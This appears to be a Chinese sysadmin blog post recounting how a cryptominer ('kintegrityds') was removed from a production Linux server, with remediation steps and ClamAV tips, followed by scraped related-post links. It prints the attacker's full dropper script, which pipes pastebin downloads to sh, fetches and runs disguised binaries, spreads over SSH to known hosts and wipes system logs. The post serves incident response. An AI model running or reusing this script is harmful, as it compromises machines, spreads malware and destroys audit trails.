【记一次生产挖矿病毒处理过程】:

可能性:webaap用户密码泄露、Jenkins/redis弱口令等。

1、监控到生产主机一直load告警

2、进服务器 top查看进程,发现挖矿病毒进程,此进程持续消耗cpu,kill掉还会自动启动。
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
10059 webapp 20 0 43612 9504 0 S 241.0 0.1 5:49.77 /tmp/kintegrityds

3、查看crontab -l
*/10 * * * * (curl -fsSL https://pastebin.com/raw/wDBa7jCQ||wget -q -O- https://pastebin.com/raw/wDBa7jCQ)|sh

4、分析定时任务:
浏览器打开:https://pastebin.com/raw/wDBa7jCQ 得到:
(curl -fsSL https://pastebin.com/raw/CBEphEbb||wget -q -O- https://pastebin.com/raw/CBEphEbb)|sed 's/\r//'|sh

xshell执行:
[webapp@vm_0_17_centos ~]$ (curl -fsSL https://pastebin.com/raw/D8E71JBJ||wget -q -O- https://pastebin.com/raw/D8E71JBJ)|sed 's/\r//'

得出脚本文件内容如下:

export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin

echo "*/10 * * * * (curl -fsSL https://pastebin.com/raw/wDBa7jCQ||wget -q -O- https://pastebin.com/raw/wDBa7jCQ)|sh" | crontab -

mkdir -p /tmp
chmod 1777 /tmp

ps -ef|grep -v grep|grep hwlh3wlh44lh|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep Circle_MI|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep get.bi-chi.com|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep hashvault.pro|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep nanopool.org|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep /usr/bin/.sshd|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep /usr/bin/bsd-port|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "xmr"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "xig"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "ddgs"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "qW3xT"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "wnTKYg"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "t00ls.ru"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "sustes"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "thisxxs"|awk '{print $2}' | xargs kill -9
ps -ef|grep -v grep|grep "hashfish"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "kworkerds"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "watchdog"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "/tmp/devtool"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "systemctI"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "watchdogs"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "ksoftirqds"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "suolbcc"|awk '{print $2}'|xargs kill -9
ps aux|grep -v grep|grep -v kintegrityds|awk '{if($3>=80.0) print $2}'|xargs kill -9
apt-get install cron -y||yum install crontabs -y||apk add cron -y

if [ ! -f "/tmp/.X11unix" ]; then
ARCH=$(uname -m)
if [ ${ARCH}x = "x86_64x" ]; then
(curl -fsSL http://sowcar.com/t6/686/1553038571x2918527206.jpg -o /tmp/kpsmouseds||wget -q http://sowcar.com/t6/686/1553038571x2918527206.jpg -O /tmp/kpsmouseds) && chmod +x /tmp/kpsmouseds
elif [ ${ARCH}x = "i686x" ]; then
(curl -fsSL http://sowcar.com/t6/686/1553038610x2890149536.jpg -o /tmp/kpsmouseds||wget -q http://sowcar.com/t6/686/1553038610x2890149536.jpg -O /tmp/kpsmouseds) && chmod +x /tmp/kpsmouseds
else
(curl -fsSL http://sowcar.com/t6/686/1553038610x2890149536.jpg -o /tmp/kpsmouseds||wget -q http://sowcar.com/t6/686/1553038610x2890149536.jpg -O /tmp/kpsmouseds) && chmod +x /tmp/kpsmouseds
fi
/tmp/kpsmouseds
elif [ ! -f "/proc/$(cat /tmp/.X11unix)/stat" ]; then
ARCH=$(uname -m)
if [ ${ARCH}x = "x86_64x" ]; then
(curl -fsSL http://sowcar.com/t6/686/1553038571x2918527206.jpg -o /tmp/kpsmouseds||wget -q http://sowcar.com/t6/686/1553038571x2918527206.jpg -O /tmp/kpsmouseds) && chmod +x /tmp/kpsmouseds
elif [ ${ARCH}x = "i686x" ]; then
(curl -fsSL http://sowcar.com/t6/686/1553038610x2890149536.jpg -o /tmp/kpsmouseds||wget -q http://sowcar.com/t6/686/1553038610x2890149536.jpg -O /tmp/kpsmouseds) && chmod +x /tmp/kpsmouseds
else
(curl -fsSL http://sowcar.com/t6/686/1553038610x2890149536.jpg -o /tmp/kpsmouseds||wget -q http://sowcar.com/t6/686/1553038610x2890149536.jpg -O /tmp/kpsmouseds) && chmod +x /tmp/kpsmouseds
fi
/tmp/kpsmouseds
fi

if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL https://pastebin.com/raw/wDBa7jCQ||wget -q -O- https://pastebin.com/raw/wDBa7jCQ)|sh >/dev/null 2>&1 &' & done
fi

echo 0>/var/spool/mail/root
echo 0>/var/log/wtmp
echo 0>/var/log/secure
echo 0>/var/log/cron

5、分析脚本内容:
定义环境变量-->把获取脚本写进crontab-->创建tmp目录并修改权限-->排查出其他类型的挖矿病毒进程并干掉-->强制下载文件到/tmp目录并赋执行权限-->最后根据密钥提取主机IP,批量处理 ssh 到主机执行脚本。

6、【解决过程】:root用户
①、停止定时任务
service crontab stop

执行以下得到IP
grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts

排查以上IP的主机是否感染。

②、root用户修改/tmp目录权限755,此时文件属组为root:root,webapp用户没有执行权限,就可以干掉/tmp/kintegrityds进程了。
drwxr-xr-x 3 root root 12288 Mar 21 16:34 tmp

chmod 755 /tmp

--清空/tmp:
cd /tmp
rm -rf *

###cd /var/spool/cron/
###rm -rf webapp

###webapp清空/tmp:
###cd /tmp
###rm -rf *

③、kill掉此进程:/tmp/kintegrityds

top
10059 webapp 20 0 43612 9504 0 S 241.0 0.1 5:49.77 /tmp/kintegrityds

kill -9 10059

再次top,无此进程:/tmp/kintegrityds

④、crontab -l依然持续写入*/10 * * * * (curl -fsSL https://pastebin.com/raw/wDBa7jCQ||wget -q -O- https://pastebin.com/raw/wDBa7jCQ)|sh到定时任务,判断有守护进程。

top -U webapp
23545 webapp 20 0 109928 16532 4 S 0.0 0.1 4:37.53 [kpsmouseds]

发现可疑进程,干掉,
kill -9 23545

不再持续写入到定时任务。

⑤、最后修改webapp用户密码,修改/tmp文件属组,启动crontab,添加常用任务。

passwd webapp

chown -R webapp.webapp /tmp/

###chown -R webapp.webapp /var/spool/cron

/var/spool/cron

【安全防范】:
密钥文件改别名:id_rsa.pub --> id_rsa.pub_bak_日期
Jenkins和Redis不要用弱口令
保管好主机密码!

【 Linux杀毒软件】:clamav
yum install clamav

· 升级病毒库 freshclam
· 扫描所有用户的主目录就使用 clamscan -r /home
· 扫描您计算机上的所有文件并且显示所有的文件的扫描结果,就使用 clamscan -r /
· 扫描您计算机上的所有文件并且显示有问题的文件的扫描结果,就使用 clamscan -r --bell -i /
/usr/local/clamav/bin/clamscan -r --remove (查杀当前目录并删除感染的文件)
/usr/local/clamav/bin/clamscan -r --bell -i / (扫描所有文件并且显示有问题的文件的扫描结果)

>其他参数
> -r/--recursive[=yes/no] 所有文件
>  --log=FILE/-l FILE 增加扫描报告
>  # clamscan -l /var/log/clamscan.log /
>  --move [路径] 移动病毒文件至..
>  --remove [路径] 删除病毒文件
>  --quiet 只输出错误消息
>  --infected/-i 只输出感染文件
>  --suppress-ok-results/-o 跳过扫描OK的文件
>  --bell 扫描到病毒文件发出警报声音
>  --unzip(unrar) 解压压缩文件扫描

--扫描根目录下文件,并指定日志文件:/var/log/clamscan.log

clamscan -r -l /var/log/clamscan.log / &

【查看CPU占用排名前十的进程:】
ps aux|head -1;ps aux|grep -v PID|sort -rn -k +3|head

【查看内存占用排名前十进程:】
ps aux|head -1;ps aux|grep -v PID|sort -rn -k +4|head

记一次生产主机中挖矿病毒"kintegrityds"处理过程!的更多相关文章

  1. 挖矿病毒watchbog处理过程

    1 挖矿病毒watchbog处理过程 简要说明 这段时间公司的生产服务器中了病毒watchbog,cpu动不动就是100%,查看cpu使用情况,发现很大一部分都是us,而且占100%左右的都是进程wa ...

  2. Watchbog挖矿病毒程序排查过程

    第1章 情况 1)服务器收到cpu报警,cpu被占用达到100%,登录服务器查看,发现cpu被一个watchbog的进程占满了,如下图所示: 2)并且无论如何都杀不掉,用kill杀掉后,其还是会隔一会 ...

  3. 挖矿病毒分析(centos7)

    因为我在工作的时候被各种挖矿病毒搞过几次,所以在这里整理下我遇到的病毒以及大神们的解决方案. 服务器中挖矿病毒后,最基本的一个特征就是CPU使用率瞬间飙升,此时可以通过top命令进行查看,确认是否有异 ...

  4. 记一次 qW3xT.4,解决挖矿病毒。

    最近感觉我的服务器特别卡,打开数据库都半天,刚开始以为网咯不好也没太在意. 利用top命令: 这时候问题出来了,最高cpu占用100%,那我用啥??? 根据进程id 一看究竟,ps -ef|grep ...

  5. 记一次Linux服务器因redis漏洞的挖矿病毒入侵

    中毒原因,redis bind 0.0.0.0 而且没有密码,和安全意识太薄弱. 所以,redis一定要设密码,改端口,不要用root用户启动,如果业务没有需要,不要bind 0.0.0.0!!!!! ...

  6. Linux服务器感染kerberods病毒 | 挖矿病毒查杀及分析 | (curl -fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org)|sh)

    概要: 一.症状及表现 二.查杀方法 三.病毒分析 四.安全防护 五.参考文章 一.症状及表现 1.CPU使用率异常,top命令显示CPU统计数数据均为0,利用busybox 查看CPU占用率之后,发 ...

  7. [FreeBuff]Trojan.Miner.gbq挖矿病毒分析报告

    Trojan.Miner.gbq挖矿病毒分析报告 https://www.freebuf.com/articles/network/196594.html 竟然还有端口转发... 这哥们.. 江民安全 ...

  8. 如何更有效的消灭watchdogs挖矿病毒?华为云DCS Redis为您支招

    漏洞概述 近日,互联网出现watchdogs挖矿病毒,攻击者可以利用Redis未授权访问漏洞入侵服务器,通过内外网扫描感染更多机器.被感染的主机出现 crontab 任务异常.系统文件被删除.CPU ...

  9. 挖矿病毒DDG的分析与清除

    注:以下所有操作均在CentOS 7.2 x86_64位系统下完成. 今天突然收到“阿里云”的告警短信: 尊敬的****:云盾云安全中心检测到您的服务器:*.*.*.*(app)出现了紧急安全事件:挖 ...

随机推荐

  1. oracle删除日志文件

    oracle删除日志文件 删除日志文件的语法例如以下: alter database drop logfile member logfile_name; 删除日志文件须要注意例如以下几点: 1.该日志 ...

  2. selenium实例学习地址

    一个完整的maven配置selenium webdriver工程实例   http://www.spasvo.com/ceshi/open/kygncsgj/Selenium/201312209580 ...

  3. ubuntu下安装AndroidStudio

    近期将电脑的操作系统换成了ubuntu,对于不习惯win8/win10的人来说ubuntu确实是一个不错的选择,主要的软件都ok了,至于QQ什么的,大家能够去找wine版的,或者直接下载一个叫Cros ...

  4. 【POJ 2096】 Collecting Bugs

    [题目链接] http://poj.org/problem?id=2096 [算法] 概率DP [代码] #include <algorithm> #include <bitset& ...

  5. 关于sql2008的数据库导入问题的收集

    在下载一个源程序的时候,常常会一起下下来一个数据库,即一个.MDF文件和一个.LDF文件,那么我们如何添加到我们的SQL Server 2008中呢?下面是一些详细的步骤: 1.将.MDF和.LDF文 ...

  6. Juniper路由器

    Juniper路由器入门之一:需要子接口的端口配置 set interfaces fe-2/0/1 vlan-tagging              ――――在配置接口启用封装VLAN set in ...

  7. JS函数种类详解

    1. 普通函数1.1 示例 1 2 3 function ShowName(name) {   alert(name); } 1.2 Js中同名函数的覆盖 在Js中函数是没有重载,定义相同函数名.不同 ...

  8. 派遣函数IRP

    派遣函数是Windows驱动程序中的重要概念.驱动程序的主要功能是负责处理I/O请求,其中大部分I/O请求是在派遣函数中处理的. 用户模式下所有对驱动程序的I/O请求,全部由操作系统转换为一个叫做IR ...

  9. (转)使用Vue-Router 2实现路由功能

    注意:vue-router 2只适用于Vue2.x版本,下面我们是基于vue2.0讲的如何使用vue-router 2实现路由功能.推荐使用npm安装. npm install vue-router ...

  10. LeetCode 75. Sort Colors (python一次遍历,模拟三路快排)

    LeetCode 75. Sort Colors (python一次遍历,模拟三路快排) 题目分析: 本题需要实现数字只包含0,1,2的排序,并且要求一次遍历. 由于只用把数字隔离开,很容易想到快排的 ...